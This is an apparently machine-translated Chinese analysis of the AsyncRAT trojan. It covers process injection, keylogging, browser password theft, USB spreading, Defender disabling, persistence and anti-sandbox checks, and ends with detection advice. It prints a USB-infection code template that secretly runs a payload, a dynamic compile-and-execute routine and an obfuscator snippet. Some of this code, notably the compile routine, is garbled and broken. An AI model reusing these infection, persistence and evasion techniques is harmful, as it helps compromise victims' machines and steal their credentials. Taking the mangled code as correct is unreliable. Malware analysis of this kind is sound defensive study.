0x01简介·AsyncRAT的优势·AsyncRAT的技术细节·检测方法0x02AsyncRAT的优势AsyncRAT是用CSharp开发的,适用于Windows系统。具有以下优点:1、支持从Pastebin.com读取C2服务器2、支持从内存加载PE文件;3、支持C#或VB代码的动态编译和执行;4、支持U盘感染,可以感染U盘中所有.NET开发的exe文件;5.支持自动读取Firefox和Chrome浏览器保存的密码;6.绕过UAC,通过诱使用户点击来提升权限;7、通过C#接口技术提高程序的可扩展性,在程序实现中将各个函数映射为一个类,编译成dll文件,需要加载时,由Server发送给Client,Client实例化类通过Activator.CreateInstance,然后调用类的方法。0x03AsyncRAT技术细节本节一一分析AsyncRAT控制面板上的功能,如下图所示:1.SendFile(1)ToMemory从内存中加载exe文件,支持以下两种类型:ReflectionUseAssembly。Load加载C#程序更新更多详情请参考上篇文章《从内存加载.NET程序集(Assembly.Load)的利用分析》。·RunPE·通过替换进程内存加载exe文件。可选择以下程序作为注入程序:·aspnet_compiler.exe·RegAsm.exe·MSBuild.exe·RegSvcs.exe·vbc.exe注:·以上五个exe文件位于Microsoft.NETFramework的安装目录下,与AsyncClient.exe的位数一致·使用32位AsyncClient.exe反弹的会话默认会搜索32位Microsoft.NETFramework的安装目录,例如:C:\Windows\Microsoft。NET\Framework\v4.0.30319·使用64位AsyncClient.exe反弹的session默认会搜索64位Microsoft.NETFramework的安装目录,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319·RunPE运行会启动上述5个exe文件之一,通过ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread修改进程内存,替换为要加载的exe文件。这里要注意,要加载的exe文件需要和AsyncClient.exe的位数保持一致。使用32位AsyncClient.exe弹回的会话只能通过RunPE操作加载。使用64位AsyncClient.exe弹回的会话只能使用RunPE操作加载。64位exe文件的详细介绍可以参考上一篇文章《傀儡进程的实现与检测》(2)ToDisk将exe文件上传到目标主机的%Temp%目录,重命名为随机字符串,然后使用Powershell启动exe文件。%Temp%目录中的exe文件将被删除。2、监控(1)远程桌面监控屏幕,实时获取目标桌面内容(仅监控,不操作)调用Graphics类的CopyFromScreen实现截图。(2)Keylogger实时获取目标主机键盘输入的消息和进程名。通过hooks实现keylogging(3)PasswordRecovery获取保存在Firefox和Chrome浏览器中的密码。技术细节可以参考之前的文章《渗透技巧——导出Firefox浏览器中保存的密码》和《渗透技巧——导出Chrome浏览器中保存的密码》。(4)文件管理·文件管理,也支持7zip的隐藏安装和文件压缩解压7zip的隐藏安装方式:在%Temp%目录下新建文件夹7-Zip,释放文件7z.exe和7z。dll(5)ProcessManager·进程管理,支持查看进程和关闭进程(6)ReportWindow·监控重要进程,当指定进程在目标主机上运行时,控制终端会弹出提示信息(7)Webcam·打开摄像头3.Miscellaneous(1)BotsKiller清除自身进程保存在\Software\Microsoft\Windows\CurrentVersion\Run下和Software\Microsoft\Windows\CurrentVersion\RunOnce下注册表HKLM和HKCU下的条目。(2)USB传播1。当目标主机连接U盘时,会感染U盘中的文件。2、将木马客户端复制到U盘并隐藏。默认保存的名称是LimeUSB.exe。修改U盘中所有.NET开发的exe文件,通过CSharpCodeProvider更改程序运行流程,添加如下代码:usingSystem;usingSystem.Diagnostics;usingSystem.Reflection;usingSystem.Runtime.InteropServices;[assembly:AssemblyTrademark("%Lime%")][assembly:Guid("%Guid%")]staticclass%LimeUSBModule%{publicstaticvoidMain(){try{System.Diagnostics.Process.Start(@"%File%");}catch{}try{System.Diagnostics.Process.Start(@"%Payload%");}catch{}}}用户会在启动正常文件的同时偷偷执行U盘中的木马客户端。(3)SeedTorrent·发送种子文件到目标主机并下载·目标主机需要安装uTorrent或BitTorrent(4)RemoteShell·弹出交互式cmd窗口(5)DOSAttack·持续发送HTTP数据包到指定域名(6)执行.NET代码在目标主机上动态编译并执行C#或VB代码。模板文件包含弹框功能和下载执行功能。我提取了编译C#代码并执行的功能。代码示例如下:{publicstaticvoidMain(string[]args){try{MessageBox.Show(""HelloWorld"");}catch{}}}}";CodeDomProvidercodeDomProvider=CodeDomProvider.CreateProvider("CSharp");try{varcompilerOptions="/target:winexe/平台:anycpu/优化-”;varcompilerParameters=newCompilerParameters();compilerParameters.ReferencedAssemblies.Add("system.dll");compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");compilerParameters.GenerateExecutable=true;compilerParameters.GenerateInMemory=true;compilerParameters.CompilerOptions=compilerOptions;compilerParameters.TreatWarningsAsErrors=false;compilerParameters.IncludeDebugInformation=false;varcompilerResults=codeDomifProvider.CompilerAssemblyPrometers(compilerAssemblyFromSource);.Count>0){foreach(CompilerErrorcompilerErrorincompilerResults.Errors){Console.WriteLine(string.Format("{0}\nLine:{1}-Column:{2}\nFile:{3}",compilerError.ErrorText,compilerError.Line,compilerError.Column,compilerError.FileName));break;}}else{Assemblyassembly=compilerResults.CompiledAssembly;MethodInfomethodInfo=assembly.EntryPoint;objectinjObj=assembly.CreateInstance(methodInfo.Name);object[]parameters=newobject[1];if(methodInfo.GetParameters().Length==0){parameters=null;}methodInfo.Invoke(injObj,parameters);}}catch(Exceptionex){Console.WriteLine(ex.Message);}}}}(7)文件搜索器·搜索指定4.Extra(1)VisitWebsite启动默认浏览器访问指定网址,界面不隐藏(2)SendMessageBox在目标主机上弹出对话框(3)Chat在目标主机上弹出对话框主机实时显示输入内容(四)获得管理员权限1.使用cmd.exe以管理员权限重启木马客户端。该操作会在用户桌面弹出一个UAC框,需要用户选择才能运行;2.如果用户不选择允许,会一直弹出UAC对话框;3、UAC对话框的程序位置会暴露木马客户端的路径;4.如果你想伪造一个更可信的UAC对话框(不暴露程序位置)可以参考上一篇文章的思路《A dirty way of tricking users to bypass UAC》(5)BlankScreenRun函数:通过WinAPI创建一个随机名称的虚拟桌面CreateDesktop(),内容为空。当切换到这个空的虚拟桌面时,用户无法在桌面上进行操作。停止函数:通过WinAPISwitchDesktop()切换到原来的桌面。(6)禁用WindowsDefender·通过修改注册表来禁用WindowsDefender,一般用于Win10系统。Builder(1)ConnectionDNS:指定C2Server的IP,可以设置多个;端口:指定C2Server的端口,可以设置多个;Pastebin:从Pastebin.com读取C2Server的信息,包括DNS和Port。内容示例:127.0.0.1:6606:7707:8808(2)Install1。用于配置木马客户端自动启动功能;2、启用该功能后,木马客户端会被复制到指定位置;3.文件名可以更改4.文件路径可以选择%AppData%或%Temp%目录;5、木马客户端以普通用户权限执行时,会在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run中增加一项,以新的木马客户端名称作为名称注册表项,新木马客户端的路径作为注册表项的数据。当木马客户端以管理员权限执行时,会使用schtasks命令创建定时任务。命令示例:schtasks/create/f/sconlogon/rlhighest/tn/tr定时任务的名称为新木马客户端的名称,会显示在用户登录时执行定时任务。(3)MiscGroup:对木马客户端进行分类;Mutex:设置互斥量,避免木马客户端重复启动;AntiAnalysis:包含以下函数:DetectManufacturer,通过WMI获取系统信息(Select*fromWin32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBoxDetectDebugger,使用WinApiCheckRemoteDebuggerPresent()检查是否为调试器DetectSandboxie,使用WinApiGetModuleHandle()检测SbieDll.dll是否存在IsSmallDisk,检测硬盘大小是否小于60Gb是否包含字符xpProcessCritica:设置进程为保护进程,如果不小心关闭了保护进程,会导致蓝屏死机。更详细的可以参考之前的文章《结束进程导致BSOD的利用分析》。Delay:延迟执行时间(4)Assembly·可以手动设置文件属性,或者复制指定文件的文件属性(5)Icon·设置文件图标(6)Build·SimpleObfuscator:简单混淆器通过重命名关键代码:privatestaticModuleDefMDRenamingObfuscation(ModuleDefMDinModule){ModuleDefMDmodule=inModule;IRenamingrnm=newNamespacesRenaming();module=rnm.Rename(module);rnm=newClassesRenaming();module=rnm.Rename(module);rnm=newMethodsRenaming();module=rnm。Rename(module);rnm=newPropertiesRenaming();module=rnm.Rename(module);rnm=newFieldsRenaming();module=rnm.Rename(module);returnmodule;}}0x04检测方法1.查找可疑文件路径:%AppData%和%Temp%目录。2、使用Autoruns检查可疑启动项(1)注册表位置HKLM\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\Run(2)计划任务列表3、可疑后台进程AsyncRAT的木马客户端只有exe文件形式,运行时会产生可疑进程。4.通讯流量。检查可疑进程的对外通信流量。5.使用杀毒软件。目前杀毒软件会拦截AsyncRAT0x05从技术研究的角度分析AsyncRAT的技术细节并介绍检测方法。
